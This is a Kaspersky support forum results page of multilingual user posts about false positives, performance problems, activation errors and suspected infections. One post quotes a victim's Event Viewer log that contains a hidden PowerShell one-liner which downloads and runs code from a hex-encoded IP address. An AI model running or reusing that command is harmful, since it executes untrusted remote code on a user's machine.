Skip to content
View in the app

A better way to browse. Learn more.

Kaspersky Support Forum

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.
  • Search By Tags

    Search will match any tag entered
  • Search By Author

Content Type

Forums

  • English Forum
    • Products for Home
    • Products for Business
    • KasperskyOS, Development
    • Kaspersky Centers of Expertise
    • Kaspersky Anti-Ransomware Tool
    • Beta Testing Products for Home & Business
  • Русскоязычный форум
    • Продукты для дома
    • Продукты для бизнеса
    • KasperskyOS, Разработка
    • Центры Экспертизы «Лаборатории Касперского»
    • Kaspersky Anti-Ransomware Tool
    • Бета-тестирование продуктов для дома и бизнеса
  • Deutschsprachiges Benutzer-Forum
    • Für Privatanwender
    • Für Unternehmen
  • Forum para usuarios hispanohablantes
    • Para usuarios particulares
    • Para empresas
  • Forum des Utilisateurs Français
    • Pour particuliers
    • Pour les entreprises
  • Fórum Brasileiro
    • Para casa
    • Para PMES e empresas
  • 中文论坛
    • 家用产品支持
    • 企业产品支持
  • Forum in Italiano
    • Utenti privati
    • Aziende
  • Türkçe Forum
    • Ev için
    • İş için
  • Nederlands Gebruikersforum
    • Voor thuis
    • Voor bedrijven
  • Forum Knowledgebase
    • Instructions
    • Advice and solutions

Blogs

Categories

  • Articles

Club

Find results in

Find results that contain...

Date Created

  • Start

    End

Last Updated

  • Start

    End


Filter by number of...

  • Minimum number of comments

  • Minimum number of replies

  • Minimum number of reviews

  • Minimum number of views

Found 736 results

  1. JesseG
    AMD Cleanup Utility предназначена для полного удаления всех ранее установленных графических и аудиодрайверов/программного обеспечения AMD, обнаруженных в системе, и подготовки ее к установке нового графического ПО и драйверов. Утилита очищает остаточные файлы и ключи реестра, помогая избежать конфликтов при обновлении или замене видеокарты. При запуске утилиты Касперский идентифицирует её как вредоносную программу, блокирует процесс и пытается лечить. Событие: Обнаружен вредоносный объект Приложение: Windows Command Processor Пользователь: DESKTOP-B3KV8SB\JesseG Тип пользователя: Инициатор Компонент: Мониторинг активности Описание результата: Обнаружено Тип: Троянское приложение Название: PDM:Trojan.Win32.Generic Степень угрозы: Высокая Тип объекта: Процесс Путь к объекту: C:\Temp Имя объекта: safemode.bat Причина: Поведенческий анализ Дата выпуска баз: Сегодня, 23.03.2026 16:16:00 MD5: 2AB53381541BC28AFE33AD390643E49A Утилита скачана с официального сайта AMD. Kaspersky Plus 21.24.8.522(b). Windows 10 Pro x64 22H2
  2. Peter15NT
    Всех приветствую! Решил поставить Kaspersky Plus на ПК возможно с вирусами. Устанавливал с онлайн-дистрибутива, и, судя по всему, последнюю скачанную версию. Судя по происходившему на экране, антивирус смог установиться, однако не может найти сеть для активации лицензии: https://imageban.ru/show/2026/03/23/2e72b5592464b457f8e82b40e71ce18e/png https://imageban.ru/show/2026/03/23/b7462a9a984bc0980b490c4e2820d957/png. Пробовал сбрасывать настройки сети через специальную кнопку в настройках, не помогает. Прикладываю отчёт GSI. Что можно предпринять для исправления работы? https://cloud.mail.ru/public/QeTv/KmkFCNXtb -- пароль : “drweb”
  3. WinonaRyderSimp
    Здравствуйте, несколько дней назад при использовании моих стандартных сайтов появилось окно от касперского с сообщением - Сайт dns-google:443 может работать не правильно. После я пошел искать информацию в интернете и особо ничего путного не нашел. Сегодня появилось уже другое сообщение (скриншот) Помогите понять что это такое и почему появляется. Заранее спасибо за ответы! P.S в настройках своей сети на уровне win 10 использую DNS google и cloudflare (как альтернатива)
  4. fanatzero
    При открытии окна новостей в центре уведомлений Kaspersky Free 21.24.8.522(b), Windows 10 начинает достаточно сильно грузится видеокарта. Перестает если свернуть или закрыть окно. Если переместить на задний план то ничего не меняется. Если выключить монитор нагрузка уменьшается в 2 раза, но не пропадает полностью. Само окно новостей периодически самостоятельно открывается на передний план, независимо от текущей активности за компом.
  5. Juliammm
    Juliammm posted a topic in Para casa
    Mesmo problema que já vejo vários reportando. Em outra conta, tenho o plano de 5 dispositivos, a página de login não existe ou está indisponível. Cancelarei a assinatura se o erro persistir, como muitos outros também disseram. Aguardo.
  6. Kenza
    Добрый день. За последние дни заметил, что приложение подгружает гпу даже в фоновом режиме, при этом ни чего не обновляя и не проверяя. Вот и стало интересно, проблема в очередном обновлении или может у меня что не так с системой
  7. teamlead
    я понимаю, что вайбкоддинг нынче в моде, но ведь можно проверять что выпускается за деньги пользователей? стало блокировать просто все подрят - от китайских сертификатов до анаконды. есть смысл далее пользоваться программой если ее надо полностью выгружать чтобы просто установить что-то базовое? за день выключаю минимум 5-6 раз из-за вот такого. (vllm) C:\Users\ohotNik>conda remove vllm 3 channel Terms of Service accepted Collecting package metadata (repodata.json): / Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ConnectionResetError(10054, 'Удаленный хост принудительно разорвал существующее подключение', None, 10054, None)': /pkgs/main/win-64/repodata.json.zst / Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ConnectionResetError(10054, 'Удаленный хост принудительно разорвал существующее подключение', None, 10054, None)': /pkgs/main/win-64/repodata.json.zst - Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'ConnectionResetError(10054, 'Удаленный хост принудительно разорвал существующее подключение', None, 10054, None)': /pkgs/main/win-64/repodata.json.zst failed CondaHTTPError: HTTP 000 CONNECTION FAILED for url <https://repo.anaconda.com/pkgs/main/win-64/repodata.json> Elapsed: - An HTTP error occurred when trying to retrieve this URL. HTTP errors are often intermittent, and a simple retry will get you on your way. If your current network has https://repo.anaconda.com blocked, please file a support request with your network engineering team. 'https//repo.anaconda.com/pkgs/main/win-64'
  8. Neyd
    Здравствуйте! После проверки компьютера через Kaspersky Virus Removal Tool отчет о результатах обработки содержит ошибки (фото прилагается). Не связано ли это с вирусами? И как устранить появление в дальнейшем данных ошибок?
  9. EugeneKosheev
    pmem:\C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MEM:Trojan.Win32.SEPEH.gen Касперский плюс постоянно находит, лечит с перезагрузкой, потом снова находит. При этом если проверить папку или exe вируса нет. Dr web вообще не находит этот троян. Версия ОС windows 10 pro 21h2
  10. jayfreddy
    hi team. i am using kasperksy free AV, but one feature that cannot turn on is Data Leak Checker. Turned off: Need to accept web portal. I dont see anything inside web portal to accept data leak checker. No option to do that. Is this some kind of error?
  11. KavoSer
    Всем привет. Скачал файл из дискорда и тут же стали улетать файлы через OneDrive(под некоторыми иконками была зеленая галочка) и в диспетчере появилось много новых задач, некоторые были без имени(все вели к svhost). У одной из них в названии было слово Viever и иконка компьютера. Я сразу же выдернул из розетки интернет и заново установил винду. Все странные задачи не пропали и тогда я купил лицензию [удалено] и просканил все. Безрезультатно. Следующим моим шагом была установка утилиты Avz 2 разных версий и на мое удивление было найдено 2 трояна в Video.dll. Я все что можно просканировал и удалил, после чего выдохнул с облегчением и подумал, что все, но нет. Сегодня перед важной встречей у меня то отключались, то включались динамики в микшере громкости, а в диспетчере задач снова появилась куча непонятных процессов. После отмены встречи и переноса на другой день все успокоилось. Попробовал зайти в Параметры-конфиденциальность-разрешения приложений, но из-за постоянных вылетов ничего не смог сделать. Подскажите, как мне быть и что делать.
  12. Mr Tech
    Hi, I just noticed that my computer has been infected by a trojan called "HEUR:Trojan.VBS.SAgent.gen", and I can't remove it via Kapersky...The trojan is found in the inbox file in Thunderbird. So it's not a file that I can remove (it's all code). Kapersky stated that these two files are the source of the Trojan (they are not found as an e-mail attachment in my inbox, it's all code in the inbox file in Thunderbird): P000009384:Emirates_Marble-pdf.gz and P000009384:Emirates_Marble-pdf.vbs So I'm simply wondering how I should go about to remove this trojan from my computer? Source: https://threats.kaspersky.com/en/threat/HEUR:Trojan.VBS.SAgent.gen/
  13. ashenone-00
    Добрый вечер, Не прогружается сайт godbolt.org, точнее, ошибка загрузки конкретного компонента - client-options.js: Mozilla Firefox: Microsoft Edge: Сначала проверил штатно: выключил расширения, очистил кеш - не помогло. Приостановление защиты решило проблему: Добавление домена в доверенные адреса не помогло: Операционная система: Microsoft Windows 10 Core x64 Build 19045 Версия приложения: Kaspersky Free v21.24.8.522 *Версия 22H2 (сборка ОС 19045.6456)
  14. MPR
    Hi. So, Kaspersky has detected powershell.exe as a malicious object. It says the object was uid:/amsi_stream_4, a trojan. I've checked Event Viewer and i have two warnings at the time i got a PowerShell window popping up on my screen with the source being "avp" and the info/details i have are: Number: "45399392" Name: "32d87a95" Confidence: "00000000" ProcessSha256: "9785001B0DCF755EDDB8AF294A373C0B87B2498660F724E76C4D53F9C217C7A3" ProcessPath: "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ProcessCommandLine: ""powershell.exe" -nop -exec bypass -w hidden -command "iex(irm 0xc0.0x6d.0xc8.0x3f/event)"" Bases: "2026.02.21 19:23:00:000" And: Number: "45399392" Name: "aa81fd45" Confidence: "00000006" ProcessSha256: "9785001B0DCF755EDDB8AF294A373C0B87B2498660F724E76C4D53F9C217C7A3" ProcessPath: "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ProcessCommandLine: ""powershell.exe" -nop -exec bypass -w hidden -command "iex(irm 0xc0.0x6d.0xc8.0x3f/event)"" Bases: "2026.02.21 19:23:00:000" Could someone please help me understand what am i dealing with here? Thanks in advance.
  15. Dimantec
    Всплывает вот такое окно. Что это и кто куда коннектится - молчок. Перехватывает "фокус" с сайта или программ происходит. Я нажимаю одно, а в итоге получаю другое. Даже сейчас набирая текст меня прервали 10 раз тыкать "разрывать соединение" и в окно браузера что бы текст набрать. При падении интернета выскакивает таких 50 окон, только со словами про сертификат. Видимо сколько вкладок открыто. Но причем тут сертификат? Просто интернет отвалился на 5 секунд. Или я роутер перезагрузил - пройти квест тыканья мышкой в 50 окон? Как это выключить или хотя бы где крестик закрыть?
  16. pingburner
    After last update with Ai Sites start struggle to load. I mean now there need hit F5 button sometimes it helps sometimes not. Also, it happens with pages that hosted within my home network i host http:/ page with SQL engine on backend on my phone and access to it via Wi-Fi and it struggle to open (first open work then it stuck and i have to close and reopen browser (Edge used for not secured traffic and Firefox used via internet security app) or kill Kaspersky app to continue using it. Before app update my home-network page works seamlessly. PS: I would just leave feedback but i cannot find how do that in Kaspersky Premium app.
  17. Моя_ломать_CTF_бомбом
    Здравствуйте, уважаемые технические специалисты!!!🫢 📣 📣 📣🌑 Windows 10 платформа. Диск стааарый, hdd ; я его воскрешал много раз 😤 Решил попробовать утилиту от kasperSKY ; увы не получилось. Руководство не работает: https://support.kaspersky.com/help/Kaspersky/Win21.24/ru-RU/156130.htm Номер заявки в чат: INC000018180618 Почта мне не помощник... :flag: 🧙‍♂️ Ошибка после первых 10 гигабут данных, даже прогресс-бар высветился. Помогите, пожалуйста. Сможете с удалённого доступа провести (посмотреть логи или может с консоли позапускать данный SOFTware) ?! 🙊🧬🔸🕍🏳️ На HDD винчестере, 2 раздела большой N: и малый B: newbie 🛹 🛹 🛹 🛹 🛹 🛹 🛹 🛹 🛹 🛹 🛹 🛹
  18. WooX
    I'm getting BSOD on windows boot after updating to Kaspersky Premium with AI. It is not hardware or windows related, it shows Kaspersky .sys file on minidump. I'm reaching for costumer support for about a week and all they tell me is chkdsk/dism/sfc commands, it doesn't work since it is not a windows problem and a problem with recent version of Kaspersky Premium. Memory dump.
  19. Alena21
    Доброго дня ! Антивирус пишет "вы можете потерять данные на диске" Почему такое может быть ? Компьютер новый Состояние диска как-то связано с работой антивируса?
  20. DenXP
    Здравствуйте. На днях установил программу Kaspersky Free на Windows 10. После полной проверки одного из дисков прочитал выборочно отчет. Очень много файлов помечены как защищенные паролем, хотя они не запаролены. Так и должно быть или это ошибка программы? С ув. Денис.
  21. bndjam
    标准版界面上显示AI标志,但是切换到免费版界面上就没有AI标志,我想问一下标准版及以上的AI技术在免费版里有吗
  22. kashperovskiy
    Являюсь системным администратором. Оригинальная, настроенная MS Windows 10 Pro x64 Build 19045. Приложение и Базы Касперского обновлены. 1. Через контекстное меню проводника Касперский не начинает проверку папок или файлов, а открывает свой громоздкий интерфейс с выбором вариантов проверки. Если я указываю конкретную папку для проверки, зачем Касперский мне навязывает несколько дополнительных дублирующих операций, если ему уже явно задан путь для проверки? 2. Даже после этого "навязывания", когда я, уже через интерфейс программы Касперский Премиум, ещё раз нахожу и указываю ту же папку, которую я хочу проверить, нажимаю "Запустить", программа мгновенно пишет, что "Безопасно: угроз не обнаружено" даже не проверяя ни одного файла, о чём свидетельствует отчёт и скорость произведённой операции. 3. Я проверил таким способом "заражённый" файл". И Касперский снова выдал: "Безопасно: угроз не обнаружено" Так система безопасности работать не может - это пустышка, которая вводит в заблуждение и может привести к очень серьёзным последствиям, включая юридические. Что произошло с программой?
  23. KoGa
  24. artykulak2
    Я имел ввиду, возможность установки ключа на одном из пяти устройств будет потеряна? Останется только 2 устройства? Или можно будет установить старый ключ в новую систему без потери попыток активации?
  25. LearningD
    Здравствуйте. При использовании Kaspersky Secure Connection в ряде продуктов (Чаще всего игр, но не только, иногда у стриминговых сервисов тоже) появляется предупреждение об использовании strict NAT. Которая сильно портит взаимодействие с программами. Гугл говорит что достаточно включить Port Forwarding / Проброс портов в натройках программы чтобы проблема ушла. Не подскажите как это правильно и лучше сделать? В настройках протокол выбирается автоматически. Версия 21.23.6.614 Win10 home 22H2 19045

Account

Navigation

Search

Search

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.